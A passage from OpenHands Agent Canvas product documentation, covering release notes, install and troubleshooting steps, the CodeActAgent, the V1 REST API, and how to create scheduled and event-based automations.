Astra. ACP agent model lists are sourced from the SDK registry, so no additional configuration is required. See [ACP Agents](/openhands/usage/agent-canvas/acp-agents). - -## Improvements and Fixes - -- Azure DevOps SSH remote URLs (`git@ssh.dev.azure.com:v3/...`) are now correctly parsed, so repositories cloned over SSH display the correct name and branch. -- The static server now HTML-escapes injected runtime configuration and sets `Cache-Control: no-store`, fixing an XSS vulnerability. -- The client ACP registry pin is now tied to the agent-server, ensuring ACP provider lists stay in sync. -- The automation bundle-source validator now accepts `plugins/` package directories in catalog bundles. -- SDK bumped to 1.48.0 and automation runtime bumped to 1.12.1. - -## Full Changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.19.0) -- [Compare v1.18.0 to v1.19.0](https://github.com/OpenHands/OpenHands/compare/v1.18.0...v1.19.0) - -### Agent Canvas 1.20.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.20.0.md - -# Agent Canvas 1.20.0 - -Released September 17, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.20.0). - -## Highlights - -- **Agent profile secret scoping** — Choose which saved secrets an agent profile can access (all, none, or selected names) from the profile editor in `Settings > Agent`. The control appears when Agent Server advertises the `profile_secret_scope_v1` capability. Deleted secret references are preserved rather than silently removed. See [Agent Profiles](/openhands/usage/agent-canvas/agent-profiles). -- **Docker conversation runtime forwarding** — Canvas now forwards six conversation-runtime settings (runtime, image, memory, CPU, PID limits, startup timeout) to its bundled Agent Server when the operator explicitly sets them, enabling `OH_CONVERSATION_RUNTIME=docker` in local Canvas deployments. See [Environment Variables](/openhands/usage/environment-variables). -- **Agent profile selection for automations** — Select a saved agent profile during automation setup and editing when the backend supports agent profiles. The selected profile is sent with `agent_profile_id` and replaces any legacy model selection. Unavailable selections remain visible. See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations). - -## Maintenance - -- Mock-LLM test profiles are isolated from ambient secrets to avoid environment-dependent secret lookups in E2E tests. -- Released agent runtime dependencies bumped: Agent Server 1.49.1, TypeScript client 1.49.1, Automation 1.13.1, Extensions 0.22.1. - -## Full Changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.20.0) -- [Compare v1.19.0 to v1.20.0](https://github.com/OpenHands/OpenHands/compare/v1.19.0...v1.20.0) - -### Agent Canvas 1.21.0 -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/release-notes/v1.21.0.md - -# Agent Canvas 1.21.0 - -Released September 22, 2026. - -[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.21.0). - -## Highlights - -- **Client-requested Docker execution workspaces** — When the connected Agent Server's `/server_info` advertises Docker execution, Canvas now explicitly requests a `DockerExecutionWorkspace` for new conversations. `LocalWorkspace` remains the default for local and older servers that do not advertise Docker execution. See [Docker Execution](/openhands/usage/agent-canvas/backend-setup/docker-execution). -- **Browser folder URLs as an app source** — In `Customize > Apps > Add app`, you can now paste a git host's browser folder URL (GitHub, GitLab, Bitbucket, Gitea, or Forgejo) as the `App source`. Canvas splits the URL into its source, `Ref`, and `Repo path`. You can still enter the `github:owner/repository` shorthand and the fields separately. See [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions). -- **Non-resumable local conversations appear archived** — After an installation switches from host-local conversation runtimes to Docker runtimes, historical local conversations have no Docker provisioning identity. Canvas now presents them using the archived-conversation interface and reads their persisted event history over REST instead of opening a WebSocket connection. See [Conversations](/openhands/usage/agent-canvas/conversations). - -## Bug Fixes - -- Conversation history loading discards stale older-events responses, so a request started in one conversation cannot merge into another after navigation. -- Forgejo-backed conversations now fetch pull request and issue lists from the Forgejo host instead of GitHub. -- The local static server serves the current build's assets after a Canvas rebuild. -- PostHog autocapture is disabled in the Agent Canvas client telemetry configuration. -- The local development launcher advertises host services through `host.docker.internal` and routes Automation traffic through the Canvas ingress in Docker mode. - -## Maintenance - -- Released agent runtime dependencies bumped: Agent Server / SDK / TypeScript client 1.49.3, Automation 1.13.3. -- Added or strengthened test suites for draft persistence, LLM profile configuration, shared utilities, and MCP configuration utilities. - -`@Harsh23Kashyap` is credited as a new contributor. - -## Full Changelog - -- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.21.0) -- [Compare v1.20.0 to v1.21.0](https://github.com/OpenHands/OpenHands/compare/v1.20.0...v1.21.0) - -### Install Agent Canvas -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/setup.md - -The `agent-canvas` launcher can run the Canvas client with Agent Server, Automation Server, and ingress as an all-in-one local stack. Use npm or npx for direct local execution, or Docker for a containerized stack with explicit project mounts. You can also run the client separately and connect it to an existing backend. - - - Treat agents and ACP processes as untrusted: they can run shell commands, read files, write files, and use connected tools within their execution environment. Agent Canvas is the client and does not provide isolation. If the backend runs directly on your machine, the agent can act with your user account's permissions. Use a container, sandbox, or VM to define a tighter boundary. Before exposing backend services to a network you do not control, review [VM / Self-Hosted Installation](/openhands/usage/agent-canvas/backend-setup/vm). - - -## Choose An Install Method - -| Method | Use It When | What The Agent Can Access | -|--------|-------------|---------------------------| -| **npm local install** | You want the quickest local browser setup. | Runs directly on your machine and can work in local workspaces you open. | -| **Docker** | You want a local sandbox with clearer file boundaries. | Runs inside a container and can access mounted project directories. | -| **npx** | You want to try Agent Canvas without installing the package globally. | Runs directly on your machine and can work in local workspaces you open. | -| **VM / self-hosted** | You want an always-on backend, stronger hardware, or a team-accessible server. | Runs on the VM or dedicated host you configure. | -| **From source** | You are contributing to Agent Canvas or changing the frontend/backend stack. | Runs your local development checkout. | - - - If you are new to Agent Canvas, use `npx` for a quick first run or npm local install if you want a reusable `agent-canvas` command. Use Docker when you specifically want sandboxing. - - -## Verify Prerequisites - - - - - Install [Node.js](https://nodejs.org/en/download) 22.12 or later and [`uv`](https://docs.astral.sh/uv/getting-started/installation/), then verify both tools are available: - - ```bash - node --version - npm --version - uv --version - ``` - - If `uv` or `uvx` is missing, install `uv` before starting Agent Canvas. The local agent server runtime uses it. - - - - Install [Docker](https://docs.docker.com/get-docker/) and make sure the Docker daemon is running: - - ```bash - docker --version - docker ps - ``` - - On macOS and Windows, open Docker Desktop before running the container. - - - - Install [Node.js](https://nodejs.org/en/download) 22.12 or later and [`uv`](https://docs.astral.sh/uv/getting-started/installation/), then verify the tools are available: - - ```bash - node --version - npm --version - uv --version - ``` - - If `uv` or `uvx` is missing, install `uv` before starting Agent Canvas. The local agent server runtime uses it. - - - - - - Termux and other mobile Linux environments are not a primary supported target. For the most reliable local setup, use macOS, Linux, Windows with PowerShell, or Windows with WSL2. - - -## Install And Run - - - - - Install the published package globally: - - ```bash - npm install -g @openhands/agent-canvas - ``` - - Start the full local stack: - - ```bash - agent-canvas - ``` - - Agent Canvas starts on `http://localhost:8000` by default. If your browser does not open automatically, open that URL manually. - - - - Create host directories for persistent settings and project files, then start the container. - - **macOS / Linux:** - - ```bash - mkdir -p ~/projects ~/.openhands - - docker run -it --rm \ - -p 8000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ - -v ~/projects:/projects \ - ghcr.io/openhands/agent-canvas:latest - ``` - - **Windows (PowerShell):** - - ```powershell - New-Item -ItemType Directory -Force -Path "$env:USERPROFILE\.openhands", "$env:USERPROFILE\projects" | Out-Null - - docker run -it --rm ` - -p 8000:8000 ` - -v "$($env:USERPROFILE)\.openhands:/home/openhands/.openhands" ` - -v "$($env:USERPROFILE)\projects:/projects" ` - ghcr.io/openhands/agent-canvas:latest - ``` - - The Docker image serves Agent Canvas at `http://localhost:8000/canvas`. The agent can access project files under the mounted `/projects` directory. - - - PowerShell uses backticks (`` ` ``) for line continuation. If Docker reports that it cannot connect to the daemon, start Docker Desktop and run the command again. - - - - Run the latest published package without installing it globally: - - ```bash - npx @openhands/agent-canvas - ``` - - Agent Canvas starts on `http://localhost:8000` by default. If your browser does not open automatically, open that URL manually. - - Use `npx` when you want to try Agent Canvas once, avoid global package installs, or work around a shell `PATH` issue with the global `agent-canvas` command. - - - - - Use the source workflow only when you want to modify Agent Canvas itself: - - ```bash - git clone https://github.com/OpenHands/OpenHands.git - cd OpenHands - npm install - npm run dev - ``` - - For development-specific environment variables and commands, see [Contribute / Development](/openhands/usage/agent-canvas/development). - - - -## Confirm It Started - -After startup: - -1. Open `http://localhost:8000`. -2. Confirm the default local backend shows as connected. -3. Open `Settings > LLM` and configure a model. -4. Choose `Open Workspace` before starting a conversation if you want the agent to work in a specific folder. -5. Return to the home screen and start a conversation. - -If the page does not load, check the terminal where Agent Canvas is running. Common causes are a missing prerequisite, a busy port, or Docker not running. - -## Run Agent Canvas Again - -After you close the terminal or restart your computer, start Agent Canvas with the same command you used to install it. Keep that terminal or Docker container running while you use the browser UI. - - - - ```bash - agent-canvas - ``` - - - - ```bash - npx @openhands/agent-canvas - ``` - - - - Run the same `docker run` command from [Install and Run](#install-and-run). The browser connects to the host port you map, while the backend and model configuration run where the Agent Canvas process or container is running. - - - -If the UI opens but the backend is disconnected or a model cannot respond, use [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) to identify the affected part of the stack. - -## Common Startup Options - -| Option | Description | -|--------|-------------| -| `-p`, `--port ` | Set the ingress port. The default is `8000`. | -| `--backend-only` | Start only the backend behind ingress. Use this for a headless backend on a local machine, VM, or server. | -| `--frontend-only` | Start only the static frontend behind ingress. Use this when connecting a local UI to a remote backend. | -| `--public` | Enable public mode. Requires `LOCAL_BACKEND_API_KEY` and is intended for deployments reachable beyond localhost. | -| `-v`, `--version` | Show the version number. | -| `--info` | Show version and stack configuration details. | -| `-h`, `--help` | Show built-in help. | - -If port `8000` is already in use, start Agent Canvas on another port: - -```bash -agent-canvas --port 3000 -``` - -## Environment Variables - -| Variable | Purpose | -|----------|---------| -| `LOCAL_BACKEND_API_KEY` | API key for the server. Required in `--public` mode; optional for local use because Agent Canvas can auto-generate and persist one. | -| `OH_SECRET_KEY` | Secret used to protect stored settings and secrets. | -| `OH_AGENT_SERVER_VERSION` | Pin a specific agent server version, such as `0.1.0`. | -| `PORT` | Ingress port inside the Docker container. Map it with `-p :`. | - -## Stop Agent Canvas - - - - - Return to the terminal running Agent Canvas and press `Ctrl+C`. - - - - Return to the terminal running Agent Canvas and press `Ctrl+C`. - - - - Return to the terminal running the container and press `Ctrl+C`. - - If the container is running in the background, stop it with: - - ```bash - docker ps - docker stop - ``` - - - -## Update Agent Canvas - - - - Stop Agent Canvas, then reinstall the latest package: - - ```bash - npm install -g @openhands/agent-canvas@latest - agent-canvas --version - ``` - - - - Stop Agent Canvas, then run the latest package: - - ```bash - npx @openhands/agent-canvas@latest - ``` - - - - Stop the running container, pull the latest image, then run the container again: - - ```bash - docker pull ghcr.io/openhands/agent-canvas:latest - ``` - - - -Your settings and conversation data are stored outside the package or image when you use the documented `~/.openhands` mount. - - - **Recover or reset:** Use [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) when the browser is blank, a port is busy, the backend is unreachable, a model or API key fails, or an update or uninstall is stuck. It also explains clean removal and reinstall. - - -## Uninstall Agent Canvas - - - - Stop any running Agent Canvas process, then uninstall the package: - - ```bash - npm uninstall -g @openhands/agent-canvas - ``` - - If Windows reports that `uv.exe` or another file is in use, close terminals running Agent Canvas, stop related processes, and run the uninstall command again. - - - - There is no Agent Canvas package to uninstall when you use `npx`. Stop the running process with `Ctrl+C`. - - If you want to clear downloaded package cache entries, use npm's cache commands: - - ```bash - npm cache verify - ``` - - - - Stop any running container, then remove the image if you no longer need it: - - ```bash - docker ps - docker stop - docker rmi ghcr.io/openhands/agent-canvas:latest - ``` - - - -Uninstalling the package or image does not automatically remove your persisted data. If you want to delete local settings, secrets, and conversation history, remove the persistence directory you mounted or used, such as `~/.openhands`. - -## Desktop App (Preview Build) - -The Agent Canvas desktop app for macOS, Windows, and Linux is an early preview build ready for user testing. It bundles the Node.js and `uv` runtimes, so you do not need to install prerequisites or keep a terminal open. - - - Please [join the OpenHands Slack community](https://openhands.dev/joinslack) to share feedback and [open an issue](https://github.com/OpenHands/OpenHands/issues) for problems you find while testing the preview. - - -### Install and Run - -Download the installer for your operating system from the [OpenHands releases page](https://github.com/OpenHands/OpenHands/releases). - -**macOS (Apple silicon)** - -1. Download the `Agent-Canvas--arm64.dmg` file. -2. Open the disk image and drag **Agent Canvas** to **Applications**. -3. Launch Agent Canvas from Applications. - -Pre-built desktop releases support Apple silicon Macs. On an Intel Mac, use the npm or [from-source](#install-and-run) installation method. - -**Windows** - -1. Download the `Agent-Canvas-Setup-.exe` installer. -2. Run the installer. If Windows SmartScreen prompts you, confirm that you want to continue. -3. Launch Agent Canvas from the Start menu. - -**Linux** - -1. Download the `Agent-Canvas-.AppImage` or `Agent-Canvas-.deb` installer. -2. For the AppImage, make the file executable and run it. For the deb, install it with your package manager (for example, `sudo apt install ./Agent-Canvas-.deb`). -3. Launch Agent Canvas from your applications menu. - -The desktop app starts its local backend automatically. During startup, select **Show details** to view and copy the live startup log. This is useful if startup takes longer than expected or fails. - -### Troubleshooting and Lifecycle - -On macOS, the app is ad-hoc signed. If macOS reports that Agent Canvas is damaged or cannot be opened, clear its quarantine attribute in Terminal, then launch it again: - -```bash -xattr -d com.apple.quarantine /Applications/Agent\ Canvas.app -``` - -Do not use `xattr -cr`; that command does not clear this issue on macOS Sequoia. - -To stop the app, quit **Agent Canvas** from its application menu or window controls. To update it, download and install the latest desktop release; `Settings > Application` also shows the installed version and can check for updates. To uninstall, quit the app and move it to the Trash on macOS or uninstall it from **Installed apps** on Windows. - -## Next Steps - -- [First Time Setup](/openhands/usage/agent-canvas/first-time-setup) -- [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) -- [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) -- [Troubleshooting](/openhands/usage/agent-canvas/troubleshooting) - -### Troubleshooting -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/troubleshooting.md - -Use this page when Agent Canvas does not start, the browser cannot reach it, the backend is disconnected, model setup fails, or uninstall/update commands get stuck. - -## Choose Your Situation - -**Agent Canvas cannot start** - -- ["agent-canvas" Command Not Found](#agent-canvas-command-not-found), -- [Missing `uv` or `uvx`](#missing-uv-or-uvx) -- [Port Already In Use](#port-already-in-use) -- [Docker Daemon Not Running](#docker-daemon-not-running). - -**The browser works but Canvas cannot reach its backend** -- [Backend Is Unreachable](#backend-is-unreachable) -- [Wrong Backend URL Or API Key](#wrong-backend-url-or-api-key). - -**The backend works but the model fails** -- [Model Or API Key Errors](#model-or-api-key-errors) -- [`LLM Provider NOT provided`](#llm-provider-not-provided) -- [ACP Agent Credentials Are Not Used](#acp-agent-credentials-are-not-used). - -**You need to remove or reset Canvas** -- [Update Or Uninstall Is Stuck](#update-or-uninstall-is-stuck) -- [Uninstall Agent Canvas](/openhands/usage/agent-canvas/setup#uninstall-agent-canvas) for clean removal and reinstall. - -## Start With These Checks - -Run the checks for the install method you used: - - - - ```bash - node --version - npm --version - uv --version - agent-canvas --help - ``` - - If one command fails, fix that prerequisite first. See [Install](/openhands/usage/agent-canvas/setup). - - - - ```bash - docker --version - docker ps - ``` - - If `docker ps` cannot connect to the Docker daemon, start Docker Desktop or Docker Engine and try again. - - - -## `agent-canvas` Command Not Found - -If `agent-canvas` is not available after installation: - -1. Confirm the package installed successfully. You should see `@openhands/agent-canvas` followed by the version if it has been installed: - - ```bash - npm list -g --depth 0 - ``` - -2. Check your npm global install prefix: - - ```bash - npm prefix -g - ``` - -3. Make sure the npm global `bin` directory is on your `PATH`. - - - - Find the npm global `bin` directory: - - ```bash - echo "$(npm prefix -g)/bin" - ``` - - Check whether your shell can already find `agent-canvas`: - - ```bash - which agent-canvas - ``` - - If `which agent-canvas` prints nothing, check your current `PATH`: - - ```bash - echo "$PATH" - ``` - - If the npm global `bin` directory is missing, add it for the current terminal session: - - ```bash - export PATH="$(npm prefix -g)/bin:$PATH" - ``` - - To make the change permanent, add that `export` line to your shell profile, such as `~/.zshrc` or `~/.bashrc`. - - - - Find the npm global install prefix: - - ```powershell - npm prefix -g - ``` - - Check whether PowerShell can already find `agent-canvas`: - - ```powershell - Get-Command agent-canvas - ``` - - If `Get-Command` cannot find it, inspect your current `PATH`: - - ```powershell - $env:Path -split ';' - ``` - - The npm global package directory, or the `bin` directory for your Node.js installation, needs to appear in that list. - - - -4. Try running without a global install: - - ```bash - npx @openhands/agent-canvas - ``` - -If `npx` works but `agent-canvas` does not, the issue is usually your shell `PATH`. - -## Missing `uv` Or `uvx` - -Agent Canvas uses `uv` to run the local agent server stack. - -If startup fails because `uv` or `uvx` is missing: - -1. Install `uv` from the [official uv installation guide](https://docs.astral.sh/uv/getting-started/installation/). -2. Open a new terminal so your shell reloads its `PATH`. -3. Verify the install: - - ```bash - uv --version - ``` - -4. Start Agent Canvas again: - - ```bash - agent-canvas - ``` - -## Browser Does Not Open Or Shows A Blank Page - -Agent Canvas listens on `http://localhost:8000` by default. - -If nothing opens automatically: - -1. Open `http://localhost:8000` manually. -2. Check the terminal running Agent Canvas for startup errors. -3. If port `8000` is busy, start on another port: - - ```bash - agent-canvas --port 3000 - ``` - -4. Open `http://localhost:3000`. - -If the browser page loads but stays blank, refresh once and check the terminal for frontend or backend startup errors. - -## Port Already In Use - -If startup says port `8000` is already in use, run Agent Canvas on another port: - -```bash -agent-canvas --port 3000 -``` - -If you are using Docker, map a different host port: - -```bash -docker run -it --rm \ - -p 3000:8000 \ - -v ~/.openhands:/home/openhands/.openhands \ - -v ~/projects:/projects \ - ghcr.io/openhands/agent-canvas:latest -``` - -Then open `http://localhost:3000`. - -## Docker Daemon Not Running - -If Docker commands fail with a daemon or connection error: - -1. Start Docker Desktop on macOS or Windows, or start Docker Engine on Linux. -2. Verify Docker is running: - - ```bash - docker ps - ``` - -3. Run the Agent Canvas Docker command again. - -On Windows, use PowerShell command syntax from [Install](/openhands/usage/agent-canvas/setup#install-and-run). PowerShell uses backticks (`` ` ``) for line continuation instead of backslashes. - -## Backend Is Unreachable - -If Agent Canvas loads but the active backend is disconnected: - -1. Open the backend switcher and select `Manage Backends`. -2. Verify the backend host URL. -3. Verify the API key if the backend requires one. -4. Switch to the default local backend if available. -5. Check the terminal or server logs for backend startup errors. - -For the default local setup, you usually do not need to manually enter a backend API key. Agent Canvas can generate and persist one locally. - -For `--public`, VM, Modal, or other remote backends, use the `LOCAL_BACKEND_API_KEY` configured for that backend. Anyone with that key can access the backend, so keep it private. - -## Wrong Backend URL Or API Key - -Backend URLs should point to the Agent Canvas backend ingress, not to an unrelated local service. - -Common examples: - -| Setup | Typical URL | -|-------|-------------| -| Default local Agent Canvas | `http://localhost:8000` | -| Local backend on another port | `http://localhost:8001` | -| Docker mapped to host port `8000` | `http://localhost:8000` | -| VM or reverse proxy | Your VM, proxy, or ngrok URL | - -If you changed the port with `--port`, use the port you selected. - -## Model Or API Key Errors - -If a conversation fails before the agent responds, check `Settings > LLM`. To choose the right provider, local endpoint, LiteLLM proxy, OpenRouter, or ACP path, start with [Configure a Model](/openhands/usage/agent-canvas/model-configuration). - -Common causes: - -- The API key is missing or expired. -- The selected provider does not match the model name. -- A custom or local model is missing the correct base URL. -- A LiteLLM proxy token is invalid. -- An OpenAI-compatible provider needs the provider, model, base URL, and key to line up. - -Agent Canvas classifies conversation errors and presents them with distinct banner variants: - -- **Recoverable errors** (such as authentication failures) are shown with a warning banner, indicating you can take action — for example, updating an API key or switching models. -- **Internal errors** are shown with an error banner, indicating a problem that may require restarting the conversation or backend. - -For model setup details, see: - -- [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) -- [Local LLMs](/openhands/usage/llms/local-llms) -- [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) - -## `LLM Provider NOT provided` - -This error usually means the configured model name does not include enough provider information, or the provider field is not set. - -Fix it by opening `Settings > LLM` and confirming: - -1. The `LLM Provider` field is set. -2. The model ID matches that provider. -3. Any custom `Base URL` is correct for the provider or local model server. -4. The API key or token is valid. - -If you are using Ollama, LM Studio, LiteLLM, or another OpenAI-compatible endpoint, use the provider and base URL expected by that service. See [Local LLMs](/openhands/usage/llms/local-llms). - -## ACP Agent Credentials Are Not Used - -ACP agents such as Claude Code, Codex, and Gemini CLI can be used in place of an LLM API key. - -If an ACP agent does not authenticate: - -1. Confirm the provider CLI is signed in on the same machine where the backend runs. -2. If the backend runs in Docker, on a VM, or in cloud infrastructure, do not assume it can see your laptop's CLI login. -3. Add the required API key or secret for that backend. -4. Reopen or restart the conversation after changing agent settings. - -See [ACP Agents](/openhands/usage/agent-canvas/acp-agents) for the credential rules. - -## Workspace Is Not Where You Expected - -The agent works in the workspace attached to the conversation. - -If file changes appear in the wrong place or the agent cannot find your project: - -1. Use `Open Workspace` before starting the conversation. -2. Confirm the conversation is using the backend you expect. -3. For Docker, make sure the project is under the mounted projects directory, such as `~/projects`, which appears as `/projects` inside the container. -4. For a VM backend, remember that the agent sees files on the VM, not files on your laptop. -5. For a cloud backend, use the cloud workspace or repository flow for that backend. - - - Do not expose broad filesystem mounts or sensitive directories unless you are comfortable with the agent reading and writing files there. - - -## MCP Settings Are Missing - -MCP configuration does not live under `Settings`. - -Open the top-level `Customize` area, then go to `MCP Servers`. - -If a configured MCP server is not available to the agent: - -1. Confirm it is saved on the active backend. -2. Confirm any required secrets are saved under `Settings > Secrets`. -3. Restart or start a new conversation if the server was added after the conversation began. - -## Automation Features Are Unavailable - -Automations run on the active backend. - -If the `Automations` view shows an unavailable or unhealthy state: - -1. Switch to the default local backend and check whether automations work there. -2. Confirm the remote backend includes the automation service. -3. Check the backend logs for automation startup errors. -4. Confirm required MCP servers and secrets are configured on the same backend as the automation. - -See [Pre-built Automations](/openhands/usage/agent-canvas/prebuilt-automations). - -## LLM Profiles Do Not Match OpenHands Cloud - -Agent Canvas currently has fuller support for LLM profiles than the hosted OpenHands Cloud UI. - -If profiles appear in Agent Canvas but not in OpenHands Cloud directly, that can be expected while the Cloud rollout is still in progress. - -Profiles and settings are also scoped to the active backend, so switching backends can change which profiles are available. - -## Update Or Uninstall Is Stuck - -Before updating or uninstalling, stop Agent Canvas. - - - - Stop the running process with `Ctrl+C`, then update or uninstall: - - ```bash - npm install -g @openhands/agent-canvas@latest - npm uninstall -g @openhands/agent-canvas - ``` - - On Windows, if uninstall fails because `uv.exe` or another file is in use, close terminals running Agent Canvas, stop related processes, and retry. - - - - Stop the container before updating or removing the image: - - ```bash - docker ps - docker stop - docker pull ghcr.io/openhands/agent-canvas:latest - docker rmi ghcr.io/openhands/agent-canvas:latest - ``` - - - -Uninstalling the package or image does not automatically delete persisted settings, secrets, or conversation history. Those live in the persistence directory you used, such as `~/.openhands`. - -## Get Help - -If you are still stuck: - -- [Join the OpenHands Slack community](https://openhands.dev/joinslack) -- [Open an issue in the OpenHands repository](https://github.com/OpenHands/OpenHands/issues) -- [Browse the Agent Canvas source](https://github.com/OpenHands/OpenHands) - -### Main Agent and Capabilities -Source: https://docs.openhands.dev/openhands/usage/agents.md - -## CodeActAgent - -### Description - -This agent implements the CodeAct idea ([paper](https://arxiv.org/abs/2402.01030), [tweet](https://twitter.com/xingyaow_/status/1754556835703751087)) that consolidates LLM agents’ **act**ions into a -unified **code** action space for both _simplicity_ and _performance_. - -The conceptual idea is illustrated below. At each turn, the agent can: - -1. **Converse**: Communicate with humans in natural language to ask for clarification, confirmation, etc. -2. **CodeAct**: Choose to perform the task by executing code - -- Execute any valid Linux `bash` command -- Execute any valid `Python` code with [an interactive Python interpreter](https://ipython.org/). This is simulated through `bash` command, see plugin system below for more details. - -![image](https://github.com/OpenHands/OpenHands/assets/38853559/92b622e3-72ad-4a61-8f41-8c040b6d5fb3) - -### Demo - -https://github.com/OpenHands/OpenHands/assets/38853559/f592a192-e86c-4f48-ad31-d69282d5f6ac - -_Example of CodeActAgent with `gpt-4-turbo-2024-04-09` performing a data science task (linear regression)_. - -### REST API (V1) -Source: https://docs.openhands.dev/openhands/usage/api/v1.md - -The [OpenHands Sandbox Server](https://github.com/OpenHands/sandbox-server) is the standalone API and sandbox control plane extracted from the former OpenHands monorepo. It exposes conversation and sandbox resources without bundling a frontend. - - - The legacy (V0) API belongs to the archived Local GUI architecture. See the **V0 REST API** section in the Home tab when maintaining an existing V0 integration. - - -## Overview - -Sandbox Server V1 REST endpoints are mounted under: - -- /api/v1 - -Use these endpoints to integrate with the Sandbox Server control plane. Sandbox Server itself does not include a frontend. - -## Key resources - -The V1 API is organized around a few core concepts: - -- **App conversations**: create/list conversations and access conversation metadata. - - POST /api/v1/app-conversations - - GET /api/v1/app-conversations - -- **Sandboxes**: list/start/pause/resume the execution environments that power conversations. - - GET /api/v1/sandboxes/search - - POST /api/v1/sandboxes - - POST /api/v1/sandboxes/{id}/pause - - POST /api/v1/sandboxes/{id}/resume - -- **Sandbox specs**: list the available sandbox “templates” (e.g., Docker image presets). - - GET /api/v1/sandbox-specs/search - -### Creating Automations -Source: https://docs.openhands.dev/openhands/usage/automations/creating-automations.md - -The easiest way to create an automation is to ask OpenHands directly. The Automation Skill handles all the details—you just describe what you want. - -## Prompt vs Plugin Automations - -There are two types of automations: - - - - Most automations are prompt-based. Just describe the task in natural language: - - ``` - Create an automation called "Daily Standup Summary" that runs every weekday - at 9 AM Eastern. It should check our GitHub repo for PRs merged yesterday - and post a summary to #engineering on Slack. - ``` - - This is all you need for reports, monitoring, data syncs, and most common tasks. - - - For specialized capabilities, include one or more plugins from the [OpenHands extensions repository](https://github.com/OpenHands/extensions): - - ``` - Create an automation using the code-review plugin that runs every weekday - at 9 AM. It should review any Python files changed in the last 24 hours. - ``` - - Plugins provide additional skills, MCP configurations, or custom commands that extend what the automation can do. - - - -The agent will: -1. Confirm the automation name and what it does -2. Set up the schedule you requested -3. Create the automation (with plugins if specified) - -Once created, it runs automatically on schedule. - -## What to Include in Your Request - -When asking OpenHands to create an automation, include: - -- **What it should do**: Describe the task clearly -- **When it should run**: Daily, weekly, every hour, etc. -- **Timezone** (optional): Defaults to UTC if not specified -- **Run timeout** (optional): Defaults to 10 minutes; the maximum depends on your deployment -- **Name** (optional): The agent can suggest one based on your description -- **Plugins** (optional): Mention specific plugins if you need extended capabilities - -## Writing Good Automation Prompts - -The prompt is what the AI agent executes each time the automation runs. Write it like you're giving instructions to a capable assistant. - -### Be Specific - - - - ``` - Generate a report - ``` - - - ``` - Generate a weekly status report that: - 1. Lists all GitHub PRs merged in the last 7 days - 2. Summarizes open issues by priority - 3. Formats everything as markdown - 4. Posts to the #team-updates Slack channel - ``` - - - -### Include Where to Send Results - -Tell the automation what to do with its output: - -- "Post to the #alerts Slack channel" (requires [Slack MCP](/openhands/usage/settings/mcp-settings)) -- "Save to `reports/weekly-summary.md`" -- "Create a GitHub issue with the findings" (automatic if you logged in with GitHub) -- "Send a message via the configured notification service" - - -Git providers you logged in with (GitHub, GitLab, Bitbucket) are automatically available. Other services like Slack require [MCP configuration](/openhands/usage/settings/mcp-settings). - - -### Specify Error Handling - -For monitoring tasks, explain what should happen when things go wrong: - -``` -Check the health endpoint at https://api.example.com/health. -If it returns anything other than 200 OK, send an alert to #ops -with the status code and response body. -If it's healthy, just log success without alerting. -``` - -## What Your Automation Can Access - -Each automation runs in a full OpenHands sandbox with: - -- **Terminal access**: Run any bash commands -- **File operations**: Create, read, and modify files -- **Your LLM**: Uses your configured model from settings -- **Your secrets**: Access API keys stored in Settings > Secrets -- **MCP integrations**: Use your configured MCP servers -- **Network access**: Make HTTP requests, connect to APIs -- **Git provider access**: Tokens from your login (GitHub, GitLab, or Bitbucket) are automatically included - -## Schedules - -Tell OpenHands when you want the automation to run in plain language: - -- "every weekday at 9 AM" -- "every Monday morning" -- "hourly" -- "every 15 minutes" -- "first day of each month" -- "twice a day at 9 AM and 5 PM" - -The agent converts this to the appropriate cron schedule. - - -If you're familiar with cron expressions, you can specify them directly: "Run on cron schedule `0 9 * * 1-5`" - - -## Run Timeouts - -Each run stops after its timeout. The default is 10 minutes; you can request up to 30 minutes, for example: "Use a 20-minute timeout." - -## After Creation - -Once your automation is created: - -- **It starts enabled** by default and will run on the next scheduled time -- **You can view past runs** in the OpenHands UI -- **Each run creates a conversation** you can review or continue -- **You can disable, update, or delete it** anytime (see [Managing Automations](/openhands/usage/automations/managing-automations)) - -## Next Steps - -- [Automations overview & examples](/openhands/usage/automations/overview) -- [Manage your automations](/openhands/usage/automations/managing-automations) - -### Event-Based Automations -Source: https://docs.openhands.dev/openhands/usage/automations/event-automations.md - -Event-based automations run when something happens—a PR is opened, an issue is commented on, or a webhook fires—instead of on a schedule. This is ideal for responsive workflows like auto-reviewing PRs, triaging issues, or reacting to external service events. - -## Prerequisites for GitHub Event Automations - -GitHub event automations require some one-time setup before events will flow. If any step is missing, automations will appear to work (manual triggers succeed) but GitHub events will silently never arrive. - -### 1. Install the OpenHands GitHub App - -The OpenHands GitHub App must be installed on the GitHub organization that owns the repositories you want to monitor. Install it from your [GitHub integration settings](/openhands/usage/cloud/github-installation). The app needs access to the repositories that will generate events. - -### 2. Create an OpenHands Team Organization - -If you're working with repositories owned by a GitHub organization (e.g., `myorg/my-repo`), you need an OpenHands **team organization** — not just a personal account. GitHub events for org repos are routed to team orgs, not personal orgs. - -If you don't already have one, create a team organization — see [What Are Organizations](/openhands/usage/cloud/organizations/overview#what-are-organizations) for details and how to get started. - -### 3. Claim Your GitHub Organization - - -**This is the most commonly missed step.** Without it, GitHub events have nowhere to be routed and will be silently dropped. - - -Your OpenHands team org must **claim** the GitHub organization to establish the link between GitHub webhooks and your OpenHands org. Claiming tells the event router: _"Events for repos in this GitHub org should go to this OpenHands team org."_ - -To claim a GitHub org: - -1. Switch to your team org using the org switcher 